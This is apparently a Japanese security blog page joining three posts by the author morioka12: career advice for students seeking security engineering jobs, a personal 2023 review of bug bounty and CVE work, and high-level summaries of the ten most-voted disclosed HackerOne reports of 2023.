  • IPA の「セキュリティ・キャンプ全国大会」に受かって参加する
  • コンテストやハッカソンに参加する (入賞する)
  • 外部イベントで登壇する
  • サマーインターンシップやウィンターインターンシップなどに参加する
  • 長期インターンシップや技術アルバイトで実務経験を積む
  • OSS を対象に脆弱性調査をして CVE ID を取得する
  • バグバウンティプラットフォームで脆弱性調査をして報酬金を獲得する

また、何か一つでも自信を持てる分野やスキルがあると、とても良いと思います。


アウトプット

セキュリティの学習において、常に新しい技術や脆弱性情報などの「インプット」も大事ですが、それに合わせて「アウトプット」も大事かと思います。

アウトプットと言っても、そこまでハードルの高いことばかりではなく、簡単なものでも全然良いと思います。

例えば、以下のようなアウトプットの形があると思います。

  • 勉強したことや取り組んだこと、取得した資格の合格記などをブログとしてまとめて公開する
  • CTF や Hack The Box で解いた問題の解法(Writeup)をブログで公開する
  • 外部イベントなどで登壇する
  • コンテストや大会で入賞する
  • 開発したものを公開する

個人的には、「ブログの執筆」が手軽にアウトプットできるものだと思います。

ブログを書いて公開することのメリットだと思う点は主に以下のような点です。

  • インプットしたことを整理することができる
  • 取り組み成果として記録を残すことができる
  • 業界の方や同じように取り組まれている方に認知してもらえる
  • ブログの内容に関する登壇オファーがくる可能性がある
  • ブログを見た誰かが参考にしてもらえる可能性がある

僕の場合もブログを書いて公開することで認知してもらったり、就活の際にもアウトプットとして話の話題にもなりました。

僕が学生中に書いたブログは、以下のようにまとめたものがあります。

scgajge12.hatenablog.com


バグハント (CVE)

少しハードルがありますが、実際に OSS を対象に脆弱性の調査をして、報告してみるのも良いと思います。

そして、CVE ID の取得まで至れると、良いアピールになると思います。

特に、有名な OSSGithub star が多い対象などで脆弱性を見つけられると、高く評価されやすいと思います。

詳しくは、以下をご覧ください。

scgajge12.hatenablog.com


バグバウンティ

さらにハードルがありますが、バグバウンティプラットフォームで脆弱性の調査と報告をしてみるのも良いと思います。

そして、報酬金の獲得まで至れると、良いアピールになると思います。

特に、脆弱性の重大度(リスクレベル)が Critical や High などで脆弱性を見つけられると、高く評価されやすいと思います。

詳しくは、以下をご覧ください。

ちなみに、Web Security に関する学習コンテンツやロードマップも以下で紹介しています。

scgajge12.hatenablog.com

また、Mobile Security に関しては、以下で紹介しています。

scgajge12.hatenablog.com


5.5 習慣的に情報収集をしよう

イベントや就活情報は、早めに知ってるか・知らないかで大きな差が生まれることがあります。(見逃したり、定員オーバーだったり、など)

そのため、常に情報収集は自分から習慣的にしておくと、とても良いと思います。

日本だと X (Twitter)で情報発信している企業やエンジニアの方が多いためフォローしておいたり、毎年あるイベントや応募開始時期などは、前年度の日程を参考にカレンダーをセットしておいたりすると良いかと思います。

例えば、サマーインターンシップの応募は「4・5月頃から」だったり、新卒採用の早期採用は「10月頃から」だったりします。

この辺も事前に確認したりしておくと良いと思います。



6. 終わりに

本稿では、新卒の学生によるセキュリティエンジニア志望の就職活動について、morioka12 の就活話も含めて簡単に紹介しました。

セキュリティエンジニアに興味のある学生や就活する方に、少しでも参考になれば幸いです。

ここまでお読みいただきありがとうございました。

2023年の振り返り

1. 始めに

こんにちは、morioka12 です。

今回は、morioka12 の「2023年の振り返り」ということで、簡単に今年あったことを振り返ってまとめてみようと思います。


2022年の振り返り

昨年の振り返りブログは、以下にまとめてあります。

scgajge12.hatenablog.com


2. タイムライン

覚えている範囲で、メインで取り組んでいたことを時系列ごとにまとめます。

1月

  • バグバウンティで脆弱性の調査をしてた
    • 脆弱性報告を複数件して報酬金を獲得した
  • Synack の「Synack Red Team (SRT)」に合格してメンバーになった


2月

  • Hack The Box の Machine や Challenge の問題を解いてた
    • 日本人ランキングで「6位」になった
  • 学校の課題や試験をまとめてやった
  • 春休みが開始
  • Golang で Web アプリケーションや CLI ツールなどの開発をしてた


3月

  • 学内で初心者向け CTF の作問&主催をした
  • Golang で Web アプリケーションや CLI ツールなどの開発をしてた
  • 同じ24卒の人や後輩とめっちゃ面談をした (受ける側)


4月

  • 4年生に進級した
  • 前期の授業が開始
  • Web 系の OSS を対象に既知の脆弱性(CVE)の検証&再現&コードリーディングをしてた
  • 以前の職場を退職した


5月

  • 新しい職場で働き始めた
  • Web 系の OSS を対象に既知の脆弱性(CVE)の検証&再現&コードリーディングをしてた
  • ブログ「CTF Cloud 問題の攻撃手法まとめ(2022年版)」を書いた

scgajge12.hatenablog.com


6月

scgajge12.github.io


7月

  • Web 系の OSS を対象に脆弱性の調査をした
    • 6件の CVE ID を取得した
  • OSS のバグバウンティプラットフォーム「huntr」で30日間のリーダーボードランキングで1位になった
  • 学校の課題や試験をまとめてやった

strapi.io


8月

  • 夏休み開始
  • バグバウンティで脆弱性の調査をしてた
    • 脆弱性報告を複数件して報酬金を獲得した
  • イベント「Security-JAWS DAYS」で AWS CTF の作問を担当した
  • ブログ「Security-JAWS DAYS 参加記&CTF作問者解説」を書いた
  • ブログ「Amazon EC2 におけるセキュリティ(脆弱性)事例」を書いた

scgajge12.hatenablog.com

scgajge12.hatenablog.com


9月

  • 勉強会「Security․Tokyo #2」に参加した
  • ブログ「フィッシングによる AWS ログインの MFA 認証の回避と事例」を書いた
  • ブログ「バグハント入門 (OSS編)」を書いた
  • ブログ「バグバウンティ入門(始め方)」を書いた
  • 後期の授業が開始

scgajge12.hatenablog.com

scgajge12.hatenablog.com

scgajge12.hatenablog.com


10月

  • 学校の卒業研究にメインに取り組んだ
  • 内定先で内定式に参加した
  • バグバウンティで脆弱性の調査をしてた
    • 脆弱性報告を複数件して報酬金を獲得した
  • CVE ID の Exploit のコードを書いてた
  • とあるコミュニティと後輩達との座談会を複数回開催した
  • ブログ「バグバウンティにおけるBug Bounty Hunterの実態調査まとめ」を書いた

scgajge12.hatenablog.com


11月

  • 学校の卒業研究にメインに取り組んだ
  • 学校で卒業研究の中間発表があった
  • ソフトウェアに対して脆弱性の調査・報告をした
  • 誕生日があった
  • 学校でとある学内発表を代表でした


12月

  • ブログ「バグバウンティで使えるおすすめの Burp Extensions 10選」を書いた
  • ブログ「バグバウンティで使えるおすすめのツール10選」を書いた
  • ブログ「バグバウンティにおける JavaScript の静的解析と動的解析まとめ」を書いた
  • ブログ「バグバウンティで使えるおすすめのブラウザ拡張機能10選」を書いた
  • イベント「SecHack365 Returns」に参加した
  • ブログ「バグバウンティにおける Critical な脆弱性報告の事例まとめ」を書いた
  • ブログ「バグバウンティにおけるモバイルアプリの脆弱性報告の事例まとめ」を書いた
  • ソフトウェアに対して脆弱性の調査・報告をした
  • 諸々の懇親会に参加した
  • ブログ「学生中に書いて反響が良かったブログ記事集(ベスト5)」を書いた
  • 冬休みが開始
  • ブログ「バグバウンティにおける人気脆弱性報告 Top 10 (2023年版)」を書いた

scgajge12.hatenablog.com

scgajge12.hatenablog.com

scgajge12.hatenablog.com

scgajge12.hatenablog.com

scgajge12.hatenablog.com

scgajge12.hatenablog.com

scgajge12.hatenablog.com

scgajge12.hatenablog.com


3. その他

学生中に書いて反響が良かったブログ記事集(ベスト5)

学生中に書いたブログをまとめました。

scgajge12.hatenablog.com


イベント「P3NFEST (ペンフェスト)」

来年の2024年2月にバグバウンティプラットフォームを運営する IssueHunt 株式会社が主催する、学生のためのサイバーセキュリティカンファレンスとして「P3NFEST Conf 2024」が開催されます。

今回は、IssueHunt の代表から直々にオファーを頂き、バグバウンティで脆弱性報告の経験を持つ学生としてセッションに登壇します。

issuehunt.jp


プライベート

プライベートに関しては、今年も充実して楽しめたかと思います。

X (Twiiter)は基本的に技術アカウントとして使っているため、 プライベートな話は Facebook の方で投稿してましたが、プライベートも充実してました。


4. 終わりに

簡単にですが、2023年の振り返りについてまとめました。

個人的には、学業も仕事もプライベートも、どれも両立して充実できたかなと思います。

今年は最後の学生生活ということで、基本的には自分のやりたいことをメインに取り組んだり、後輩と面談したり置き土産(贈り物)ブログを書き残したりなどしてました。

来年の4月から新社会人として働き始めますが、社会人になってからの次の目標や取り組みたいことなどがほぼ決まってきてるため、今後も自分なりに何かに取り組めればと思います。

今後ともどうぞよろしくお願い致します。


ここまでお読みいただきありがとうございました。

バグバウンティにおける人気脆弱性報告 Top 10 (2023年版)

1. 始めに

こんにちは、morioka12 です。

本稿では、2023年に HackerOne で報告された脆弱性レポートで最も人気投票が多かった Top 10 を紹介します。


対象の脆弱性レポート

  • 2023/01/01 ~ 2023/12/27
  • 既に開示されているレポート


2. Most Votes Top 10

10位: Stored XSS via Kroki diagram

  • Vote: 259
  • Severity: High
  • Weakness: Cross-site Scripting (XSS) - Stored
  • Bounty: $13,950

この脆弱性報告は、Gitlab で Kroki が有効な場合に、Issue に pre タグを指定することで、XSS が可能だったという指摘でした。

hackerone.com


9位: Insecure Direct Object Reference (IDOR) - Delete Campaigns

  • Vote: 283
  • Severity: High
  • Weakness: Insecure Direct Object Reference (IDOR)
  • Bounty: none

この脆弱性報告は、パラメーター「campaign_id」に所有していたい他のキャンペーンの ID を指定することで、そのキャンペーンを削除することが可能だったという指摘でした。

hackerone.com


  • Vote: 284
  • Severity: High
  • Weakness: Cross-site Scripting (XSS) - Generic
  • Bounty: none

この脆弱性報告は、パラメーター「canary」に指定した HTML タグが Cookie の「guvo」にそのまま指定されることで、XSS が可能だったという指摘でした。

hackerone.com


  • Vote: 292
  • Severity: High
  • Weakness: Server-Side Request Forgery (SSRF)
  • Bounty: $6,000

この脆弱性報告は、チャット機能のリクエストに対して、パラメーター「url」に内部の URL を指定することで、内部サービスのサーブス名とその内部 IP アドレスをのみを取得することが可能だったという指摘でした。

hackerone.com


6位: An attacker can can view any hacker email via /SaveCollaboratorsMutation operation name

  • Vote: 344
  • Severity: High
  • Weakness: Information Disclosure
  • Bounty: $7,500

この脆弱性報告は、ダミーレポートにコラボレーターとしてユーザーを招待する機能のリクエストに関して、登録されているユーザーのプライベートメールを閲覧することが可能だったという指摘でした。

hackerone.com


5位: Server Side Request Forgery (SSRF) via Analytics Reports

  • Vote: 346
  • Severity: Critical
  • Weakness: Server-Side Request Forgery (SSRF)
  • Bounty: $25,000

この脆弱性報告は、PDF のレポートを生成する機能のリクエストに関して、パラメーター「template」に HTML タグの iframe タグを指定して PDF を生成することで、SSRF により内部ファイルを読み込んだり、AWS サービスの認証情報を取得することが可能だったという指摘でした。

ちなみに、この脆弱性報告は、2023年の HackerOne の報告で最も報酬金額が高いレポートでした。

hackerone.com


4位: [accounts.reddit.com] Redirect parameter allows for XSS

  • Vote: 351
  • Severity: High
  • Weakness: Cross-site Scripting (XSS) - Generic
  • Bounty: $5,000

この脆弱性報告は、ログイン機能に関して、リダイレクト先を指定するパラメーター「dest」に XSS が可能だったという指摘でした。

hackerone.com


3位: [CVE-2022-44268] Arbitrary Remote Leak via ImageMagick

  • Vote: 360
  • Severity: Critical
  • Weakness: Remote File Inclusion
  • Bounty: none

この脆弱性報告は、アップロードされた画像のサイズなどを変更する機能に関して、脆弱な ImageMagick が使われていることによる任意コード実行(RCE)が可能だったという指摘でした。

hackerone.com


  • Vote: 392
  • Severity: High
  • Weakness: Improper Access Control - Generic
  • Bounty: $750

この脆弱性報告は、パスワードリセットのリクエストに関して、メールに送られてきた機微な情報となるパスワードリセットトークンを含む URL が安全でない「http」プロトコルが使われていたという指摘でした。

hackerone.com


1位: Delete anyone's content spotlight remotely.

  • Vote: 676
  • Severity: High
  • Weakness: Insecure Direct Object Reference (IDOR)
  • Bounty: $15,000

この脆弱性報告は、投稿した動画を削除するリクエストに対して、パラメーター「ids」を他人の動画の ID に改ざんすることで、他人の投稿した動画を削除することが可能だったという指摘でした。

hackerone.com


3. その他

2022年の Most Votes Top 10

参考までに、昨年のランキングは以下のようでした。

Rank Vote Weakness Bounty Link
1 441 Improper Access Control $10,000 link
2 300 IDOR $12,500 link
3 281 Path Traversal $29,000 link
4 268 Command Injection $33,510 link
5 263 Command Injection $33,510 link
6 260 Command Injection none link
7 255 Privilege Escalation $20,000 link
8 254 Buffer Overflow $10,000 link
9 235 IDOR $11,500 link
10 215 IDOR $20,000 link

ちなみに、2022年に報告された中で、Gitlab からの「$33,510」が最も報酬金額が高いレポートでした。


バグバウンティ入門(始め方)

scgajge12.hatenablog.com


4. 終わりに

本稿では、2023年に HackerOne で報告された脆弱性レポートで最も人気投票が多かった Top 10 を紹介しました。

ここまでお読みいただきありがとうございました。